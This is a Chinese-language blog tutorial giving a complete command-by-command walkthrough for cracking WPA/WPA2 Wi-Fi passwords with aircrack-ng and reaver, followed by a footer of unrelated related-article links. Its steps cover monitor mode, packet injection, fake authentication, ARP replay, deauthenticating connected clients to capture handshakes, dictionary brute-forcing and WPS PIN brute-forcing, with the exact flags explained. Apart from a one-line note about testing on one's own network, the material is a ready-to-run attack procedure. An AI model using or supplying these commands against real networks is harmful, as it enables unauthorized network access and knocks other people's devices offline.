WPA/WAP2wifi 密码破解笔记
前言:
相对于前一段时间脆弱的WEP路由器而言,当今的路由器加密方式也大都改变为WPA/WPA2,使得无线路由器的破解难度增加。虽然如此,但还是有很多漏洞层出不穷,如WPS。退一步来说,即使加密算法无懈可击,我们还可以针对安全防护中最脆弱的——人——来进行破解。人的想象力实在是匮乏的很,往往设置密码来来回回就是那么几类,用一个常见的弱口令字典,往往就能在10分钟左右把其密码暴力破解出来。这里提供一种常见的破解方式,仅仅作为个人实验用,最好在自己的家庭网络中测试,以免给别人带来不便。
准备工具:
1.Linux操作系统,Windows下可以用虚拟机代替。
2.安装aircrack-ng(Kali操作系统自带)
3.安装reaver(可选)
Step1.查看网卡信息,记录无线网卡MAC地址
ifconfig -a (以管理员权限运行,下同)
这里假设本机MAC地址为:00:0F:B5:88:AC:82
Step2.开启无线网卡,设置为监听模式
airmon-ng start wlan0 [信道号]
其中信道号可以先不填
开启后可以ifconfig看到多了个接口mon0,即为监听接口
Step3.搜索周围的无线网络
airodump-ng mon0
找到待破解的AP,记录BSSID(这里假设为00:14:6C:7E:40:80),信道号(这里假定为 6),ESSID(设为myWiFi)
这里假设
Step4.测试无线设备的注入
aireplay-ng -9 -e myWiFi -a 00:14:6C:7E:40:80 mon0
其中
- -9 表示注入测试
- -e myWiFi 是无线网络名字
- -a 00:14:6C:7E:40:80 是接入点的MAC地址
- mon0 是无线接口名字
返回结果的最后一行表示注入成功率,一般比较高,如果很低表示离AP太远了
Step5.开始抓包
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w output mon0
Step6. 虚拟认证(可选,只在AP为WEP加密的时候才有效)
为了AP能够接收packet,源MAC地址必须已经连接。如果你正在注入的源MAC地址没有连接,AP会忽略所有包并发送一个“DeAuthentication“包。这种情况下,不会有新的IVs被创建。
缺少和AP的连接是注入失败的一个常见原因,记住:你用来注入的MAC地址必须连接AP(通过虚拟认证或者使用已经连接的客户端MAC)
虚拟认证:
aireplay-ng -1 0 -e myWiFi -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0 其中:
- -1 表示虚拟认证(fake authentication)
- 0 表示重新认证的时间(秒)
- -e myWiFi 是无线网络名称
- -a 00:14:6C:7E:40:80 是接入点MAC地址
- -h 00:0F:B5:88:AC:82 是我们网卡的MAC地址
- mon0是无线接口名称
成功有类似下面的输出:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
另外还可以:
aireplay-ng -1 6000 -o 1 -q 10 -e myWiFi -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0
其中:
- 6000 - 每6000秒重新认证一次. 长周期同时也会导致发送keep alive packets
- -o 1 - 一次仅发送一组包,默认发送多组,这样会对某些AP导致混乱
- -q 10 - 每10秒发送一次keep alive packets
成功有类似下面输出:
18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful :-)
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
# and so on.
Step7.ARP请求重播攻击(可选,只在虚拟认证成功时才有效)
airodump抓包速度比较慢,为了加速包的产生,我们可以使用传统的ARP请求重播攻击(ARP request replay attack)来快速生成IVs(Initialization Vectors):
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0 这里值得一提的是,从前为了破解WEP加密的WIFI,我们需要收集足够多的IVS。如果运气好的话,通常40位WEP(64位密钥)用30万IVs就可以破解,104位WEP(128位密钥)有150万IVs可以破解,运气不好的话需要更多。为此我们需要用ARP注入的方式加开扑捉IVs的速度。但对于WPA/WPA2我们则没有类
似破解办法,只能通过扑捉握手包来进行暴力破解。
Step8.攻击目标客户端使其掉线,获取握手包
这是和WEP破解最显著的区别,由于WPA需要暴力破解,因此抓的包里必须至少包含一个握手包,我们可以发送一种称之为“Deauth”的数据包来将已连接至无线路由器的合法无线客户端断开,此时客户端就会重新连接无线路由器,我们也就有机会捕获到包含WPA-PSK握手验证的完整数据包了。命令为:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c clientMAC mon0
其中:
- -0表示采用deauth攻击模式,后卖弄加上攻击次数,这里设置为1,可以根据情况设置为1-10不等(不要设太多不然对方会频繁掉线)
- -a 为AP的MAC , -c为已连接的客户端MAC
Step9.暴力破解抓下来的包
一旦捕捉到WPA handshake,我们就可以开始进行破解了:
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap -w yourdic
其中:
- -b 00:14:6C:7E:40:80 选择了一个我们感兴趣的接入点,这是可选的,因为我们捕捉数据的时候就已经指定了此AP而忽略其他.
- output*.cap 选择我们在Step5里用airodump抓下来的包.
- -w 指定一个破解的字典。破解的效率和字典的选择有很大关系,一般选用弱口令字典,因为强口令破解时间太长,得不偿失。
这里值得一提的是,像用预先计算好的像彩虹表一样的配对表(Pairwise Master Keys)来进行破解也是不行的,因为口令都用ESSID加了盐。
其他方法(WPS破解):
除了这样通用的暴力破解外,我们还可以用reaver来破解带WPS的路由器的PIN码,但是对信号的要求很高,如果AP的信号很强,或者自己的无线网卡很给力,也可以采用这种方式。优点是字典无关,无论路由器密码多强都能破解出来,在我的笔记本上尝试破解了自己家的WIFI密码,花了大概5个小时。
以上述AP为例,可以用命令行运行
reaver -i mon0 -b 00:14:6C:7E:40:80 -a -S -vv -d2 -t 5 -c 1
其中:
-i 监听后接口名称
-b 目标mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key(可以提高PJ速度)
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-t 即timeout每次穷举等待反馈的最长时间
-c指定频道可以方便找到信号,如-c1 指定1频道,大家查看自己的目标频道做相应修改 (非TP-LINK路由推荐–d9 –t9参数防止路由僵死
示例:
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)
应因状况调整参数(-c后面都已目标频道为1作为例子)
目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1
refernce:http://www.aircrack-ng.org/doku.php?id=simple_wep_crack
WPA/WAP2wifi 密码破解笔记的更多相关文章
- Final——无线网络密码破解——WPA/WPA2
Final--无线网络密码破解--WPA/WPA2 20154305 齐帅 ↓ ↓ ↓ * # % & 郑 重 声 明 & % # * ↓ ↓ ↓ 本实验教程用于探索无线路由安全漏洞, ...
- 【WiFi密码破解详细图文教程】ZOL仅此一份 详细介绍从CDlinux U盘启动到设置扫描破解-破解软件论坛-ZOL中关村在线
body { font-family: Microsoft YaHei UI,"Microsoft YaHei", Georgia,Helvetica,Arial,sans-ser ...
- Windows Server 2008 R2 密码破解
Win 2008 Server 忘记密码怎么办,不能像Win7/8/XP 那样用PE破解就只有这种方法了1.首先,把Windows 2008 的镜像放进去光驱我们用光驱启动 2. 这时候按下S ...
- WiFi密码破解CDlinux
好了,先说下提前要准备的东东吧:1.U盘一枚,最小1G空间.需进行格式化操作,提前保存内部文件.2.CDlinux镜像.帖子最后会提供一枚8月最新修改版,共135M. 1.CDlinux U盘启动 ...
- WPA/WPA2加密破解
WPA/WPA2无线密码破解这里主要介绍两种方法:穷举PIN码.穷举密码 穷举PIN码(共11000种组合)破解速度快,需要一些条件(路由器支持WPS.QSS功能),路由器信号良好.无论密码多复杂,条 ...
- WEP/WPA-PSK密码破解工具aircrack-ng
WEP/WPA-PSK密码破解工具aircrack-ng aircrack-ng是Aircrack-ng工具集中的一个工具.该工具主要用于根据已经抓取的.cap文件或者.ivs文件破解出WEP/W ...
- WiFi密码破解详细图文教程
每天都能看到有不少网友在回复论坛之前发布的一篇破解WiFi密码的帖子,并伴随各种疑问.今天流云就为大家准备一篇实战型的文章吧,详细图文从思维CDlinux U盘启动到中文设置,如何进行路由SSID扫描 ...
- Wifi密码破解实战
原文链接地址:http://www.freebuf.com/articles/wireless/127261.html https://www.baidu.com/?tn=98012088_4_dg& ...
- Wifi密码破解
Wifi密码破解1:通过字典(暴力)破解WIFI密码 简单破解WEP/WPA/WPA2加密的WIFI密码,平台kali-linux 工具:Aircrack-ng 过程很简单:先抓含有正确密码的握手 ...
随机推荐
- UIView的创建与内存管理
学习过程中遇到一些问题,现在记录下来,以后忘记以便翻看. 创建工程的步骤: xcode的ARC改为MRC .h文件中的strong改为retain .m文件中加入dealloc方法 .m文件中_win ...
- Android实现页面跳转、ListView及其事件
Android实现页面跳转.ListView及其事件 开发工具:Andorid Studio 1.3 运行环境:Android 4.4 KitKat 工程内容 进入主页面后,使用ListView实现特 ...
- [shell基础]——paste命令
测试文本内容如下: # cat name1.txt name1 alvin1 name2 alvin2 name3 alvin3 name4 alvin4 # cat name2.txt name1 ...
- XAML中的Path
利用Path创建图形的时候,如果path对象的Fill属性不设置,那么绘制出来的图形首尾是不连接的. 如果设置了Fill属性,当Fill的Color属性为Transparent时,图形也不会首尾连接: ...
- bower解决js的依赖管理
bower解决js的依赖管理 前言: 一个新的web项目开始,我们总是很自然地去下载需要用到的js类库文件,比如jQuery,去官网下载名为jquery-1.10.2.min.js文件,放到我们的项目 ...
- Careercup - Microsoft面试题 - 5120588943196160
2014-05-10 22:58 题目链接 原题: Three points are given A(x1, y1), B(x2, y2), C(x3, y3). Write a method ret ...
- 深入理解jQuery中live与bind方法的区别
本篇文章主要是对jQuery中live与bind方法的区别进行了详细的分析介绍,需要的朋友可以过来参考下,希望对大家有所帮助 注意如果是通过jq添加的层和对象一定要用live(),用其他的都不起作用 ...
- C++中定义比较函数的三种方法
原文地址:http://fusharblog.com/3-ways-to-define-comparison-functions-in-cpp/ C++编程优与Pascal的原因之一是C++中存在ST ...
- ios 百度地图
百度地图 中的注意事项 1. 百度地图中 使用了c++ 设置buidSeting compoileSource 为 Object-C++ 强制使用oc++编译器 2. 设置 BuidSeti ...
- Hibernate SQL方言 (hibernate.dialect)
数据库 hibernate方言 DB2 org.hibernate.dialect.DB2Dialect DB2 AS/400 org.hibernate.dialect.DB2400Dialect ...